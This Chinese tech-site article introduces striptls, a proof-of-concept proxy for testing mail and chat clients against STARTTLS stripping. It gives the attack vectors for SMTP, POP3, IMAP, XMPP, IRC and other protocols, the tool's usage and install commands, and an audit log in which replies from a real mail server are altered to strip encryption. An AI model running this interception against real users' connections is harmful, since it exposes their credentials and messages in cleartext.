工具推荐:striptls审计代理
创始人
2025-01-27 10:30:42
0次

STARTTLS 是对纯文本通信协议的扩展。它提供一种方式将纯文本连接升级为加密连接(TLS或SSL),而不是另外使用一个端口作加密通信。

[[163048]]

striptls是一款端口剥离攻击的POC实现。

SMTP

  1. SMTP.StripFromCapabilities - server response capability patch  
  2. SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code  
  3. SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)  
  4. SMTP.StripWithTemporaryError  
  5. SMTP.StripWithError  
  6. SMTP.ProtocolDowngradeStripExtendedMode  
  7. SMTP.InjectCommand 

POP3

  1. POP3.StripFromCapabilities  
  2. POP3.StripWithError  
  3. POP3.UntrustedIntercept 

IMAP

  1. IMAP.StripFromCapabilities  
  2. IMAP.StripWithError  
  3. IMAP.UntrustedIntercept  
  4. IMAP.ProtocolDowngradeToV2 

FTP

  1. FTP.StripFromCapabilities  
  2. FTP.StripWithError  
  3. FTP.UntrustedIntercept 

NNTP

  1. NNTP.StripFromCapabilities  
  2. NNTP.StripWithError  
  3. NNTP.UntrustedIntercept 

XMPP

  1. XMPP.StripFromCapabilities  
  2. XMPP.StripInboundTLS  
  3. XMPP.UntrustedIntercept  
  4. ACAP (untested)  
  5. ACAP.StripFromCapabilities  
  6. ACAP.StripWithError  
  7. ACAP.UntrustedIntercept 

IRC

  1. IRC.StripFromCapabilities  
  2. IRC.StripWithError  
  3. IRC.UntrustedIntercept  
  4. IRC.StripWithNotRegistered  
  5. IRC.StripCAPWithNotregistered  
  6. IRC.StripWithSilentDrop 

结果:

  1. - [*] client: 127.0.0.1 
  2. -     [Vulnerable!]   
  3. -     [Vulnerable!]   
  4. -     [           ]   
  5. -     [Vulnerable!]   
  6. - [*] client: 192.168.139.1 
  7. -     [Vulnerable!]   
  8. -     [Vulnerable!]   
  9. -     [Vulnerable!]  

实例:

  1. #> python -m striptls --help    # from pip/setup.py#> python striptls --help       # from source / root folderUsage: striptls [options]  
  2.  
  3.        example: striptls --listen 0.0.0.0:25 --remote mail.server.tld:25Options:  
  4.       -h, --help            show this help message and exit  -v, --verbose         make lots of noise [default]  
  5.       -l LISTEN, --listen=LISTENlisten ip:port [default: 0.0.0.0:]  
  6.       -r REMOTE, --remote=REMOTE  
  7.                             remote target ip:port to forward sessions to  
  8.       -k KEY, --key=KEY     SSL Certificate and Private key file to use, PEMformat assumed [default: server.pem]  
  9.       -x VECTORS, --vectors=VECTORS  
  10.                             Comma separated list of vectors. Use 'ALL' (default)  
  11.                             to select all vectors. Available vectors:  
  12.                             FTP.StripFromCapabilities, FTP.StripWithError,  
  13.                             FTP.UntrustedIntercept, IMAP.StripFromCapabilities,  
  14.                             IMAP.StripWithError, IMAP.UntrustedIntercept,  
  15.                             NNTP.StripFromCapabilities, NNTP.StripWithError,  
  16.                             NNTP.UntrustedIntercept, POP3.StripFromCapabilities,  
  17.                             POP3.StripWithError, POP3.UntrustedIntercept,  
  18.                             SMTP.ProtocolDowngradeStripExtendedMode,  
  19.                             SMTP.StripFromCapabilities, SMTP.StripWithError,  
  20.                             SMTP.StripWithInvalidResponseCode,  
  21.                             SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,  
  22.                             XMPP.StripFromCapabilities, XMPP.StripInboundTLS,  
  23.                             XMPP.UntrustedIntercept [default: ALL] 

安装:

1.从pip安装

#> pip install striptls

2.从源安装

#> setup.py install

示例:

  1.                 inbound                    outbound  
  2. nbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]  
  3. smtp-client                   striptls                    remote/target 

本地 smtp-client -> localhost:8825 (代理) -> mail.gmx.net:25

审计模式:

在特定的情况下遍历所有协议并且跟踪违反starttls协议的客户端。你可以选择按Ctrl + C来中止审核并打印结果。

  1. #> python striptls --listen localhost:8825 --remote=mail.gmx.net:25  
  2. 2016-02-02 22:11:56,275 - INFO     -  ready.  
  3. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP):   
  4. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP):   
  5. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP):   
  6. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP):   
  7. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP):   
  8. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP):   
  9. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP):   
  10. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP):   
  11. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP):   
  12. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:110  , proto:    POP3):   
  13. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:110  , proto:    POP3):   
  14. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:25   , proto:    SMTP):   
  15. 2016-02-02 22:11:56,275 - DEBUG    - * added test (port:25   , proto:    SMTP):   
  16. 2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP):   
  17. 2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP):   
  18. 2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP):   
  19. 2016-02-02 22:11:56,276 - DEBUG    - * added test (port:5222 , proto:    XMPP):   
  20. 2016-02-02 22:11:56,276 - INFO     - ]), 110: set([, ]), 143: set([, , ]), 21: set([, , ]), 119: set([, , ]), 25: set([, , , , ])}>  
  21. 2016-02-02 22:12:08,477 - DEBUG    -  - protocol detected (target port)  
  22. 2016-02-02 22:12:08,530 - INFO     -  client ('127.0.0.1', 28902) has connected  
  23. 2016-02-02 22:12:08,530 - INFO     -  connecting to target ('mail.gmx.net', 25)  
  24. 2016-02-02 22:12:08,805 - DEBUG    -  [client] <= [server]          '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n' 
  25. 2016-02-02 22:12:08,805 - DEBUG    -   
  26. 2016-02-02 22:12:09,759 - DEBUG    -  [client] => [server]          'ehlo [192.168.139.1]\r\n' 
  27. 2016-02-02 22:12:09,850 - DEBUG    -  [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' 
  28. 2016-02-02 22:12:09,851 - DEBUG    -  [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n' 
  29. 2016-02-02 22:12:09,867 - DEBUG    -  [client] => [server]          'STARTTLS\r\n' 
  30. 2016-02-02 22:12:09,867 - DEBUG    -  [client] <= [server][mangled] '200 STRIPTLS\r\n' 
  31. 2016-02-02 22:12:09,867 - DEBUG    -  [client] => [server][mangled] None 
  32. 2016-02-02 22:12:09,883 - DEBUG    -  [client] => [server]          'mail FROM: size=10\r\n' 
  33. 2016-02-02 22:12:09,983 - DEBUG    -  [client] <= [server]          '530 Authentication required\r\n' 
  34. 2016-02-02 22:12:09,992 - DEBUG    -  [client] => [server]          'rset\r\n' 
  35. 2016-02-02 22:12:10,100 - DEBUG    -  [client] <= [server]          '250 OK\r\n' 
  36. 2016-02-02 22:12:10,116 - WARNING  -  terminated.  
  37. 2016-02-02 22:12:13,056 - DEBUG    -  - protocol detected (target port)  
  38. 2016-02-02 22:12:13,056 - INFO     -  client ('127.0.0.1', 28905) has connected  
  39. 2016-02-02 22:12:13,057 - INFO     -  connecting to target ('mail.gmx.net', 25)  
  40. 2016-02-02 22:12:13,241 - DEBUG    -  [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n' 
  41. 2016-02-02 22:12:13,241 - DEBUG    -   
  42. 2016-02-02 22:12:14,197 - DEBUG    -  [client] => [server]          'ehlo [192.168.139.1]\r\n' 
  43. 2016-02-02 22:12:14,289 - DEBUG    -  [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' 
  44. 2016-02-02 22:12:14,304 - DEBUG    -  [client] => [server]          'STARTTLS\r\n' 
  45. 2016-02-02 22:12:14,305 - DEBUG    -  [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n' 
  46. 2016-02-02 22:12:14,305 - DEBUG    -  [client] => [server][mangled] None 
  47. 2016-02-02 22:12:14,320 - DEBUG    -  [client] => [server]          'mail FROM: size=10\r\n' 
  48. 2016-02-02 22:12:14,411 - DEBUG    -  [client] <= [server]          '530 Authentication required\r\n' 
  49. 2016-02-02 22:12:14,415 - DEBUG    -  [client] => [server]          'rset\r\n' 
  50. 2016-02-02 22:12:14,520 - DEBUG    -  [client] <= [server]          '250 OK\r\n' 
  51. 2016-02-02 22:12:14,535 - WARNING  -  terminated.  
  52. 2016-02-02 22:12:16,649 - DEBUG    -  - protocol detected (target port)  
  53. 2016-02-02 22:12:16,650 - INFO     -  client ('127.0.0.1', 28908) has connected  
  54. 2016-02-02 22:12:16,650 - INFO     -  connecting to target ('mail.gmx.net', 25)  
  55. 2016-02-02 22:12:16,820 - DEBUG    -  [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n' 
  56. 2016-02-02 22:12:16,820 - DEBUG    -   
  57. 2016-02-02 22:12:17,760 - DEBUG    -  [client] => [server]          'ehlo [192.168.139.1]\r\n' 
  58. 2016-02-02 22:12:17,849 - DEBUG    -  [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' 
  59. 2016-02-02 22:12:17,849 - DEBUG    -  [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n' 
  60. 2016-02-02 22:12:17,871 - WARNING  -  terminated.  
  61. 2016-02-02 22:12:20,071 - DEBUG    -  - protocol detected (target port)  
  62. 2016-02-02 22:12:20,072 - INFO     -  client ('127.0.0.1', 28911) has connected  
  63. 2016-02-02 22:12:20,072 - INFO     -  connecting to target ('mail.gmx.net', 25)  
  64. 2016-02-02 22:12:20,239 - DEBUG    -  [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n' 
  65. 2016-02-02 22:12:20,240 - DEBUG    -   
  66. 2016-02-02 22:12:21,181 - DEBUG    -  [client] => [server]          'ehlo [192.168.139.1]\r\n' 
  67. 2016-02-02 22:12:21,269 - DEBUG    -  [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' 
  68. 2016-02-02 22:12:21,280 - DEBUG    -  [client] => [server]          'STARTTLS\r\n' 
  69. 2016-02-02 22:12:21,281 - DEBUG    -  [client] <= [server][mangled] '501 Syntax error\r\n' 
  70. 2016-02-02 22:12:21,281 - DEBUG    -  [client] => [server][mangled] None 
  71. 2016-02-02 22:12:21,289 - DEBUG    -  [client] => [server]          'mail FROM: size=10\r\n' 
  72. 2016-02-02 22:12:21,381 - DEBUG    -  [client] <= [server]          '530 Authentication required\r\n' 
  73. 2016-02-02 22:12:21,386 - DEBUG    -  [client] => [server]          'rset\r\n' 
  74. 2016-02-02 22:12:21,469 - DEBUG    -  [client] <= [server]          '250 OK\r\n' 
  75. 2016-02-02 22:12:21,485 - WARNING  -  terminated.  
  76. 2016-02-02 22:12:23,665 - WARNING  - Ctrl C - Stopping server  
  77. 2016-02-02 22:12:23,665 - INFO     -  -- audit results --  
  78. 2016-02-02 22:12:23,666 - INFO     - [*] client: 127.0.0.1 
  79. 2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!]   
  80. 2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!]   
  81. 2016-02-02 22:12:23,666 - INFO     -     [           ]   
  82. 2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!]  

除了审计模式外还有从服务端剥离starttls、无效化starttls响应、不可行的ssl链接(对于客户端则是不在检验服务端的证书是否可信)以及XMPP的追踪审计的功能。

相关内容

热门资讯

PHP新手之PHP入门 PHP是一种易于学习和使用的服务器端脚本语言。只需要很少的编程知识你就能使用PHP建立一个真正交互的...
网络中立的未来 网络中立性是什... 《牛津词典》中对“网络中立”的解释是“电信运营商应秉持的一种原则,即不考虑来源地提供所有内容和应用的...
各种千兆交换机的数据接口类型详... 千兆交换机有很多值得学习的地方,这里我们主要介绍各种千兆交换机的数据接口类型,作为局域网的主要连接设...
粉嫩如何诠释霸道 东芝M805... “霸道粉”是个什么玩意东芝M805拿过来的时候,笔者扑哧笑了,不是笑这款笔记本,而是笑这款产品的颜色...
如何利用交换机和端口设置来管理... 在网络管理中,总是有些人让管理员头疼。下面我们就将介绍一下一个网管员利用交换机以及端口设置等来进行D...
什么是大数据安全 什么是大数据... 在《为什么需要大数据安全分析》一文中,我们已经阐述了一个重要观点,即:安全要素信息呈现出大数据的特征...
只需三步,让你掌握阿尔法路由器... 请参照以下阿尔法路由器设置方法,通过浏览器进入及设置宽带路由器。经过这三个步骤的设置,基本上能够熟悉...
如何更省钱? 近期特价热门硒鼓... 如今激光打印设备已经成为商务或企业的绝对主力办公设备,但采购者往往忽视了激光打印设备所用的耗材,相对...
全面诠释网络负载均衡 负载均衡的出现大大缓解了服务器的压力,更是有效的利用了资源,提高了效率。那么我们现在来说一下网络负载...
如何允许远程连接到MySQL数... [[277004]]【51CTO.com快译】默认情况下,MySQL服务器仅侦听来自localhos...